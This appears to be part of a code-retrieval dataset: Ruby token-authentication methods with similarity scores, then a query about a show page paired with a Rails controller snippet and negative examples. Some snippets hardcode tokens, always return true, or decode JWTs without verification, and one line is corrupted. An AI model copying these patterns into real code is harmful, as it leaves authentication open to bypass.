"def verify_token\n associate = Associate.where(id: params[:associate_id])[0] if params[:associate_id]\n #checking signed_in user\n if user_signed_in?\n #checking token is nil or not.\n if params[:token].nil?\n #response in json format\n render :json=> { success: false, message: \"Token is required to proceed further.\" },:status=> 203\n return\n elsif associate && associate.associate_user == true\n return true\n #checking token with the current_user\n elsif current_user.authentication_token != params[:token]\n render :json=> { success: false, message: \"Problem with the authentication token.please check token.\" },:status=> 203\n return\n else\n end\n end\n end",
"def api_auth_success?\n token, token_options = get_token\n\n resource = nil\n resource = User.find_by_authentication_token(token) unless token.blank?\n\n comparison = valid_token_login?(resource, token)\n\n # token, resource, and comparison must all be valid\n !token.blank? && !resource.blank? && comparison\n end",
"def verify_auth_token\n halt 401 unless valid_user?(extracted_token)\n end",
"def authenticated?\n !expired? && respond_to?(:access_token) && access_token.present?\n end",
"def authenticate?(token)\n data = DB[:Token].where(Token: token).first\n unless data.nil?\n if data[:Token] == token && data[:Timestamp] >= Time.now.to_i\n return true\n end\n end\n false\n end",
"def client_has_valid_token?\n request.headers[\"Authorization\"] == Rails.application.credentials.guessing_access_token\n end",
"def authenticate\n token = session[:token]\n redirect_to login_prompt_path if token.nil?\n return !token.nil?\n end",
"def token_authenticated?\n !!(@access_token && (@access_token_expires_at.nil? || @access_token_expires_at > Time.now))\n end",
"def bearer_authenticated?\n !!@bearer_token\n end",
"def token\n authenticated\n end",
"def valid_auth_token?(request_auth_token)\n Devise.secure_compare(auth_token, request_auth_token) && !auth_token_expired?\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n \n unless user\n render json: { errors: 'user must signed in' }, status: :unprocessable_entity\n end\n end",
"def valid_authentication_token?(incoming_auth_token)\n incoming_auth_token == self.authentication_token\n end",
"def authentication_ok?(token_verify_path)\n return false unless token\n return false unless token['access_token']\n return false unless token_verify_path\n\n final_path = token_verify_path.gsub(/\\:access\\_token/, token['access_token'])\n debug { \"Requesting user info from #{final_path}\" }\n request(path: final_path)\n true\n rescue => ex\n error { \"Authentication verification exception\" }\n error { ex }\n false\n end",
"def authenticate_by_token\n token = get_token\n if token.nil?\n render json: \"Missing HTTP_X_NB_AUTHTOKEN HTTP header\", status: :bad_request\n return false\n end\n\n # We verify by two ways:\n # 1. if app session id is present, does the app token match the associated app?\n # 2. does the current track belongs to the app session which the app token points to?\n true_token = Track.find(params[:id]).app_session.app.token\n\n if token != true_token\n render json: \"Token mismatch\", status: :bad_request\n return false\n end\n\n true\n end",
"def authenticate()\n token = session[:token]\n redirect_to login_prompt_path if token.nil?\n return !token.nil?\n end",
"def authenticate()\n token = session[:token]\n redirect_to login_prompt_path if token.nil?\n return !token.nil?\n end",
"def authenticate_user!\n token, options = ActionController::HttpAuthentication::Token.token_and_options(request)\n\n super unless token == 'rbMmEeoH8RxRDyN24PQv'\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n # else\n # authentication_error\n end\n end",
"def authorized?\n return if session[:access_token]\n end",
"def authenticated?\n true\n end",
"def authenticate\n authenticate_token || render_unauthorized\n end",
"def check_authorization\n authorization_token = cookies[:authorization_token]\n if authorization_token and not logged_in?\n user = User.find_by_authorization_token(authorization_token)\n user.log_in!(session) if user\n end\n end",
"def token_based?\n @userId && @authToken && [email protected]?\n end",
"def check_authorization\n authorization_token = cookies[:authorization_token]\n if authorization_token and not logged_in?\n user = User.find_by_authorization_token(authorization_token)\n user.login!(session) if user\n end\n end",
"def check_authorization\n authorization_token = cookies[:authorization_token]\n if authorization_token and not logged_in?\n user = User.find_by_authorization_token(authorization_token)\n user.login!(session) if user\n end\n end",
"def authenticated?\n doorkeeper_token.present? ? doorkeeper_authorize!.nil? : false\n end",
"def check_authorization\n authorization_token = cookies[:authorization_token]\n if authorization_token and not logged_in?\n user = User.find_by_authorization_token(cookies[:authorization_token])\n user.login!(session) if user\n end\n end",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def correct_login_token?(given_token)\n false\n end",
"def authenticated?\n if params.include?(\"token\")\n email, role, exp_date = decode(params[\"token\"])\n if !email.empty? and (DateTime.strptime(exp_date, '%Y%m%d%H%M%S') >= DateTime.now or Rails.env.test?)\n return email\n end\n end\n end",
"def authenticate_with_token!\n render json: { errors: 'Acesso não autorizado!' }, status: 401 unless user_logged_in?\n end",
"def user_authenticated?\n basic_authenticated? || token_authenticated?\n end",
"def authenticate_token!\n return render_error(\"Problem with Authentication Token\",401, 401) unless Token.find_by(access_token: params[:access_token])\n end",
"def verify_auth_token\n token = params[:auth_token]\n if token.nil?\n render_json_response(400, \"Authorization token needed\")\n return\n end\n\n user = User.find_by_authentication_token(token)\n if user.nil?\n render_json_response(401, \"Bad token\")\n return\n end\n\n @user = user\n end",
"def authenticate_by_token(token)\n access_token = AccessToken.find_by(token: token)\n\n if access_token && access_token.validates?\n access_token.touch\n\n @user = access_token.user\n @token = access_token\n\n true\n else\n false\n end\n end",
"def valid_authentication_token?(incoming_auth_token)\n incoming_auth_token.present? && incoming_auth_token == self.authentication_token\n end",
"def authenticate\n \n authenticate_token || render_unauthorized\n end",
"def authenticate_token\n authenticate_with_http_token do |token, options|\n token == 'ABC'\n end\n end",
"def authorization_token_valid?\n id = authorization_token_content.id\n\n return false if id.nil?\n\n user = User.find_by_id id\n\n !user.nil? && user.auth_token == authorization_token\n end",
"def is_authenticated?\n end",
"def verify_jwt_token\n head :unauthorized if request.headers['Authorization'].nil? ||\n !AuthToken.valid?(request.headers['Authorization'].split(' ').last)\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authenticate_error\n end\n end",
"def authenticate\n authenticate_token || render_unauthorized\n end",
"def authenticate\n unless FfcrmVend.config.token == params[:token]\n render :text => \"\", :status => :unauthorized\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def verify_jwt_token\n begin\n if request.format.json?\n token = request.headers['Authorization'].split(' ').last\n decoded_token = JWT.decode token, nil, false\n @current_user = User.find(decoded_token[0][\"user_id\"])\n head :unauthorized if request.headers['Authorization'].nil? || !AuthToken.valid?(token)\n else\n authenticate_user!\n end\n rescue => exception\n head :unauthorized \n end\n end",
"def token?\n @session_token\n end",
"def authenticate\n \t# get token from header\n \tauthentication_token = request.headers['token']\n \t@user = User.find_by_authentication_token authentication_token if authentication_token\n \t\n \tunless @user\n \t\trender json: {success: false, message: I18n.t('unauthorized'), data: {}}, status: :unauthorized\n \t\treturn false\n \tend\n end",
"def authenticate_with_token!\n render json: { errors: \"Not authenticated\" }, status: :unauthorized unless user_signed_in?\n end",
"def validate_token\n token = params[:token]\n return false if token.nil?\n \n user = User.validate_token(token)\n return false if user.nil?\n \n login_user(user)\n return true\n end",
"def authenticate!\n error!(\"401 Unauthorized\", 401) unless check_auth_token \n end",
"def authenticate_with_token!\n renders json: {errors: \"Not authenticated\"},\n status: :unauthorized unless user_signed_in?\n end",
"def authorize_token(auth_token)\n cache_token(auth_token)\n info(true) # force a refresh\n\n authorized?\n end",
"def authenticated?\n false\n end",
"def check_authentication\n @token = request.headers[:token]\n @user = Usuario.find_by_token(@token) \n if @user ==nil\n json_response={\n error: 'authentication error'\n }\n respond_with json_response, location: nil\n end \n \n end",
"def authenticated?(token)\n digest = self.otp_digest\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authorized?\n @user_id = nil\n @token = extract_token\n begin\n payload, header = JWT.decode(@token, settings.verify_key, true)\n\n @exp = header[\"exp\"]\n\n # check to see if the exp is set (we don't accept forever tokens)\n if @exp.nil?\n puts \"Access token doesn't have exp set\"\n return false\n end\n\n @exp = Time.at(@exp.to_i)\n\n # make sure the token hasn't expired\n if Time.now > @exp\n puts \"Access token expired\"\n return false\n end\n\n @user_id = payload[0]\n\n rescue JWT::DecodeError => e\n return false\n end\n true\n end",
"def valid_token?\r\n token = ::AuthToken.where(user_id: decoded_auth_token[:user_id]).newer.first\r\n token&.token == auth_token && token.expire_at >= Time.now if token.present?\r\n end",
"def authenticated?\n @access_token != nil and @access_token.length > 0\n end",
"def verify_token\n check_auth_token(request.headers['authtoken'],params[:profile_id])\n end",
"def token_verify\r\n\r\n #render json: {id: params[\"user\"][\"id\"], params: params}\r\n \r\n user_tmp = User.find(params[:id])\r\n if user_tmp.authentication_token == params[:authentication_token]\r\n $granted = true\r\n render json: false\r\n else\r\n \r\n render json: false\r\n end\r\n end",
"def authorized?\n @token = extract_token\n begin\n payload, header = JWT.decode(@token, nil, false)\n @exp = header[\"exp\"]\n # check to see if the exp is set (we don't accept forever tokens)\n if @exp.nil?\n logger.debug \"Access token doesn't have exp set\"\n return false\n end\n @exp = Time.at(@exp.to_i)\n # make sure the token hasn't expired\n if Time.now > @exp\n logger.debug \"Access token expired\"\n return false\n end\n @user_id = payload[\"user_id\"]\n rescue JWT::DecodeError => e\n logger.error e\n return false\n end\n end",
"def valid_token?\n env['HTTP_TOKEN']\n end",
"def validate_token\n token = params[:token]\n return false if token.nil?\n \n user = User.validate_token(token)\n return false if user.nil?\n \n login_user(user)\n return true\n end",
"def token_autenticado?(token)\n return false if token.nil?\n Password.new(reset_digest).is_password?(token)\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def user_authorizes_token?\n params[:authorize] == '1'\n end",
"def authok?\n @authok\n end",
"def authok?\n @authok\n end",
"def authok?\n @authok\n end",
"def authok?\n @authok\n end",
"def authenticate!\n Authenticator.verify!(params['token'])\n end",
"def verify_authenticity_token\n if auth_token_param.present?\n verify_valid_auth_token!\n else\n super\n end\n end",
"def authenticated?\n current_authentication_token && current_authentication_token == @submission.session_id\n end",
"def test_authentication\n load_token\n return false if !@token || @token.empty?\n res = get '/'\n !res.key?('error')\n end"
] | [
"0.8381212",
"0.8381212",
"0.8240689",
"0.8123797",
"0.81085986",
"0.81085986",
"0.80770963",
"0.8072737",
"0.80651766",
"0.80651766",
"0.8045858",
"0.80457026",
"0.804546",
"0.8011329",
"0.7998877",
"0.7976542",
"0.79486686",
"0.79226536",
"0.78589106",
"0.7772606",
"0.77607447",
"0.7751077",
"0.77426434",
"0.77114666",
"0.76989824",
"0.7689693",
"0.7688139",
"0.76851594",
"0.76839757",
"0.76760054",
"0.7658927",
"0.76579726",
"0.76538223",
"0.76294804",
"0.76241523",
"0.76241523",
"0.7604408",
"0.7602",
"0.75894105",
"0.7585727",
"0.7584559",
"0.7583337",
"0.7582267",
"0.75800323",
"0.75754327",
"0.75682896",
"0.7561849",
"0.7559885",
"0.7559885",
"0.7559885",
"0.7559885",
"0.7559885",
"0.7557399",
"0.7548594",
"0.75393325",
"0.75332046",
"0.7530505",
"0.75247914",
"0.7505162",
"0.7503574",
"0.74938285",
"0.74882793",
"0.74881315",
"0.7487836",
"0.7486526",
"0.7478184",
"0.747676",
"0.7472914",
"0.747164",
"0.747164",
"0.74405813",
"0.74220914",
"0.7404367",
"0.73918295",
"0.7386039",
"0.7378268",
"0.7368697",
"0.7366826",
"0.7364125",
"0.73633397",
"0.73601985",
"0.7359592",
"0.73568",
"0.73552555",
"0.7334832",
"0.73341876",
"0.73319143",
"0.73290265",
"0.7318039",
"0.7315603",
"0.73137695",
"0.73137695",
"0.73137695",
"0.73075265",
"0.73075265",
"0.73075265",
"0.73075265",
"0.73017514",
"0.73004013",
"0.7298293",
"0.72977406"
] | 0.0 | -1 |
Forget the remember token | def forget
self.remember_token = nil
update_attribute(:remember_digest, nil)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def forget\n self.remember_token = nil\n update_attribute(:remember_token_digest, nil)\n end",
"def forget\n update_attribute(:remember_token, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n # We don't need the below line because if we update remember_digest to nil, then\n # you cannot use the old remember_token anyway, so it is unnecessary\n # self.remember_token = nil\n end",
"def forget\n self.remember_token = nil\n self.update_attribute(:remember_digest, nil)\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(false)\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(false)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(:validate => false)\n end",
"def forget_me\r\n self.remember_token_expires_at = nil\r\n self.remember_token = nil\r\n save(:validate => false)\r\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(:validate => false) \n end",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n \tupdate_attribute(:remember_digest, nil)\n end",
"def forget\n \tupdate_attribute(:remember_digest, nil)\n end",
"def forget\n\t\tupdate_attribute(:remember_digest,nil)\n\tend",
"def forget\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\nend",
"def forget\n update_attribute(:remember_digest, nil)\n \n end",
"def forget\n update_attribute :remember_digest, nil\n end",
"def forget\n update_attribute :remember_digest, nil\n end",
"def forget(user)\nuser.forget\ncookies.delete(:user_id)\ncookies.delete(:remember_token)\nend",
"def forget(user)\nuser.forget\ncookies.delete(:user_id)\ncookies.delete(:remember_token)\nend",
"def forget_me!(value)\n remember_me_tokens.where(value: value).destroy_all\n end",
"def forget(user)\n user.forget # Defined in the User model\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget_me!\n sorcery_config.remember_me_token_persist_globally || force_forget_me!\n end",
"def forget(user)\n user.forget # Calls model function\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget #nil out remember_digest\n cookies.delete(:current_user_id)\n cookies.delete(:remember_token)\n end",
"def forget(tok)\n update_attributes! remember_hash: remember_hash.delete_if { |_k, v| Encrypt::Password.validatePassword tok, v } unless tok.nil?\n end",
"def forget (user)\n\tuser.forget\n\tcookies.delete(:user_id)\n\tcookies.delete(:remember_token)\nend",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\nend",
"def forget_me!\n current_user.forget_me!\n cookies.delete(:remember_me_token, domain: Config.cookie_domain)\n end",
"def forget (user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n\t\t#call the model.forget api to delete the remember_token from user\n\t\tuser.forget\n\t\t#remove cookie from browser\n\t\tcookies[:user_name]=nil\n\t\t#remove remembertoken from browser\n\t\tcookies[:remember_token]=nil\n\tend",
"def forget(user)\n # Sets the remember_digest attribute to nil in the DB\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:investor_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n\tuser.forget\n\tcookies.delete(:user_id)\n\tcookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget # set user.remember_digest as nil\n cookies.delete(:user_id)\n cookies.delete(:remember_token) \n end",
"def forget(user)\r\n user.forget\r\n cookies.delete(:user_id)\r\n cookies.delete(:remember_token)\r\n end",
"def forget_me!\n current_user.forget_me!\n cookies.delete(\n :remember_me_token,\n domain: sorcery_config.cookie_domain\n )\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n\n end",
"def forget(user)\n user.forget\n cookies.delete :id\n cookies.delete :remember_token\n end",
"def forget(user)\n\t user.forget\n\t cookies.delete(:user_id)\n\t cookies.delete(:remember_token)\n end",
"def force_forget_me!\n current_user.force_forget_me!\n cookies.delete(:remember_me_token, domain: Config.cookie_domain)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(member)\n member.forget\n cookies.delete(:member_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(baby)\n baby.forget\n cookies.delete(:baby_id)\n cookies.delete(:remember_token)\n end",
"def forget(user)\n user.forget!\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n end",
"def forget(person)\n person.forget\n cookies.delete(:guild_hall_user_id)\n cookies.delete(:remember_token)\n end"
] | [
"0.85903674",
"0.85840243",
"0.84172887",
"0.8414009",
"0.8067702",
"0.8067702",
"0.8003807",
"0.796986",
"0.796986",
"0.7964057",
"0.79531074",
"0.79438734",
"0.7914545",
"0.7914545",
"0.7914545",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.7878318",
"0.78320986",
"0.78320986",
"0.78082",
"0.7802718",
"0.7775646",
"0.7732175",
"0.7732175",
"0.77080745",
"0.77080745",
"0.7641886",
"0.76316464",
"0.7614154",
"0.7595785",
"0.7592768",
"0.75923896",
"0.7554991",
"0.7539983",
"0.75233316",
"0.7514796",
"0.74835765",
"0.74834466",
"0.7475264",
"0.74699694",
"0.74478865",
"0.7444554",
"0.74354696",
"0.74259025",
"0.7419368",
"0.7395357",
"0.73879427",
"0.7385749",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73815656",
"0.73813415",
"0.73804325",
"0.7373004",
"0.73596257",
"0.7347979"
] | 0.8463376 | 3 |
Show Page shows individual coordinate and tweet page and attached user | def show
@case = Case.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @tweets = @usuario.tweets\n end",
"def show\n @user = User.where(uuid: params[:uuid]).first || User.where(username: params[:uuid]).first\n render_404 and return unless @user\n\n @og = {\n \"og:title\" => @user,\n \"og:type\" => \"train-track:user\",\n \"og:url\" => request.original_url,\n \"og:image\" => @user.image_url,\n \"og:site_name\" => \"Train Track\",\n \"fb:app_id\" => \"272514462916508\",\n \"train-track:username\" => @user.username\n }\n\n @journeys = @user.journeys.page(params[:page])\n\n respond_to do |format|\n format.html\n format.xml { render xml: @user }\n format.json { render json: @user, callback: params['callback'] }\n end\n end",
"def show\n set_up_twitter\n\n get_last_tweet\n get_five_last_tweets\n end",
"def show\n page_title = 'Linkshot: ' + @shot.name\n if @shot.user.nil?\n page_description = @shot.name + ' — Shared via Linkshot'\n else \n page_description = @shot.name + ' — Shared by ' + @shot.user.name + ' via Linkshot'\n end\n end",
"def show\n redirect_to user_path(current_user) if !authorized?(params[:id])\n\n follow = get_random_follow\n @follow = Follow.create(uid: follow.attrs[:id_str], name: follow.attrs[:name], handle: follow.attrs[:screen_name], user_id: current_user.id)\n\n like = @follow.get_random_like(client)\n @like = Like.create(tid: like.attrs[:id_str], follow_id: @follow.id)\n @embedded_tweet = client.oembed(@like.get_tid_int)\n end",
"def show\n @microposts = @user.microposts.with_attached_image.page(params[:page])\n end",
"def show\n @user = User.find_by_username( params[:id] )\n @data = {:type => \"profile_view\", :object_id => @user.id, :ip => request.remote_ip, :user => user_signed_in? ? current_user.id : \"\" }\n @view = View.track_view(@data)\n @company_count = @user.company\n if current_user.present?\n @blog_posts = @user.blog_posts\n @follow_status = UserFollower.where( :user_id => @user.id, :follow_user_id => current_user.id, :followed => 1).count\n @followed = CompanyFollower.followed_companies(@user.id,params)\n else\n @blog_posts = @user.blog_posts.where(:private => \"0\")\n end\n @followers = UserFollower.where(:user_id => @user.id, followed: 1).count\n @following = UserFollower.where(:follow_user_id => @user.id, followed: 1).count\n render layout: \"homepage\"\n end",
"def show\n @venture = Venture.find_by_tag(params[:id])\n @venture_messages = @venture.messages.paginate(:order=>'created_at DESC',:page=>params[:page])\n @contributors = @venture.messages.tweets.collect{|m| m.account}.uniq\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venture }\n end\n end",
"def show\n\t\t@popoverclass = SecureRandom.hex(16)\n\t\t@activities = PublicActivity::Activity.order(\"created_at desc\").tagged_with(@user.id.to_s, :on => :liker, :any => true, :test => false, :deleted => nil).paginate(page: params[:page], :per_page => 6)\n\tend",
"def show\n\n @contributors = Tale.contributors(@tale.id)\n @tale_id = @tale.id\n @authors = Tale.where(id: @tale.id).pluck(:user_id) \n @followCount = Tale.find(@tale.id).followers(User).count \n @likeCount = Tale.find(@tale.id).likers(User).count \n @authorName = User.where(id: @authors[0]).pluck(:firstname)\n @titles = Tale.where(id: @tale.id).pluck(:title) \n @talecover = Talephoto.where(tale_id: @tale.id)\n @subheadings = Tale.where(id: @tale.id).pluck(:subheading) \n\n\n if @tale.private_flag==1\n if user_signed_in?\n if [email protected]_id\n redirect_to '/'\n end\n else\n redirect_to '/'\n end\n end\n end",
"def show\n @tweet = Tweet.find(params[:id])\n @user=User.all\n end",
"def show\n if current_user\n user_congress_members = CongressMemberFinder.get_all(current_user)\n @senator_handles = user_congress_members[:senators] ? user_congress_members[:senators].map { |senator| senator.twitter_handle }.join(\" \") : \"@YourSenators\"\n @representative_handle = user_congress_members[:representative] ? user_congress_members[:representative].twitter_handle : \"@YourRepresentative\"\n else\n @senator_handles = \"@YourSenators\"\n @representative_handle = \"@YourRepresentative\"\n end\n end",
"def dashboard\n @meta_data = {:page_title => \"Chicago Ideas Week | Dashboard\", :og_image => \"\", :og_title => \"Chicago Ideas Week\", :og_type => \"article\", :og_desc => \"\"}\n @user = current_user\n end",
"def show\n # Add in this #MDM\n @tweet = Tweet.find(params[:id])\n end",
"def home\n @tweets = @user.feed.paginate(:page => params[:page], :per_page => 5)\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def show\n @twitter = true\n render :template => \"yammers/show.html.erb\"\n end",
"def show_tweets\n @user = get_user_or_current_user(params[:id])\n @tweets = Tweet.where(:user_id => @user.id).order(created_at: :desc)\n end",
"def show\n \t@user = User.find(params[:id])\n # Make microposts available for users show-action\n @feed_items = @user.microposts.paginate(page: params[:page])\n end",
"def show\n @public_view = true\n page_meta[:workout_description] = @workout.short_description\n page_meta[:user_description] = @workout.user.name\n end",
"def show_other_user\n @title = 'Microposts'\n @user = User.find(params[:id])\n @microposts = @user.feed.page(params[:current_page]).per(5)\n @new_post = Micropost.new if @new_post.nil?\n render 'microposts/show'\n end",
"def show\n @title = @user.complete_name\n @description = \"Informations relatives à #{@user.complete_name}\"\n @jsonld = @user.to_jsonld\n end",
"def show\n @user = page_user\n @posts = @user.posts\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n format.json { render :json => @user }\n end\n end",
"def display_timeline\n timeline_search_results = []\n TWITTER.home_timeline.each do |tweet|\n timeline_search_results << [tweet.user.name, tweet.text]\n # binding.pry\n end\n timeline_search_results\n end",
"def tweets\n @tweets = @user.tweets.order(created_at: :desc).paginate(:page => params[:page], :per_page => 5) # order OWN tweets according to when they were created, with the most recent tweet at the top.\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def show_user_tweets\n @user_tweets = TwitterClient.user_timeline(params[:name])\n render json: @user_tweets\n end",
"def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.paginate(page: params[:page])\n redirect_to(root_url) && return unless @user.activated?\n end",
"def show\n respond_to do |format|\n format.turbo_stream { render \"shared/show\", locals: { object: @page, no_new_link: true } }\n end\n end",
"def page(photo=nil)\n \"/#{self.username_from_id(self.user_id)}/place/#{self.id}/#{self.title_urlsafe}\" + (photo.nil? ? \"\" : \"?show=#{photo.id}\")\n end",
"def show\n \t@user = User.find(params[:id]) # p281.\n @microposts = @user.microposts.paginate(page: params[:page]) # p449. \n end",
"def show\n @user_picture = @user.profile_image.expiring_url(3600, :square)\n @bookmarks = @user.bookmarks\n @enrollments = @user.courses\n @enrollments_visible = @user.course_enrollments_visible_for_user(current_user)\n @completions_visible = @user.course_results_visible_for_user(current_user)\n end",
"def twitter\n @user = User.find(session[:user_id])\n t = @user.twitter\n unless t.present?\n redirect_to @user, :notice => \"Please add your twitter account!\"\n return\n end\n @tweets = t.home_timeline\n @posts = []\n @tweets.each do |tweet|\n if Post.exists?(:tweet_id => tweet[:id])\n @posts.push(Post.find_by_tweet_id(tweet[:id]))\n else\n p = Post.new\n p.tweet_id = tweet[:id]\n p.tweeter_twitter_id = tweet[:user][:id]\n if User.exists?(:twitter_id => tweet[:user][:id])\n p.user_id = User.find_by_twitter_id(tweet[:user][:id]).id\n else\n p.user_id = -1\n end\n p.post_type = 3\n p.created_at = tweet[:created_at].to_datetime\n url = \"https://api.twitter.com/1/statuses/oembed.json?id=#{tweet[:id]}&omit_script=true\"\n begin\n tweet_page = open(URI.parse(url))\n p.body = JSON.parse(tweet_page.read)['html']\n if p.save!\n @posts.push(p)\n end\n rescue\n # Tried to access a protected tweet, just skip it\n end\n end\n end\n\n @body_class = 'twitter-background'\n respond_to do |format|\n format.html # twitter.html.erb\n format.json { render json: @posts }\n end\n 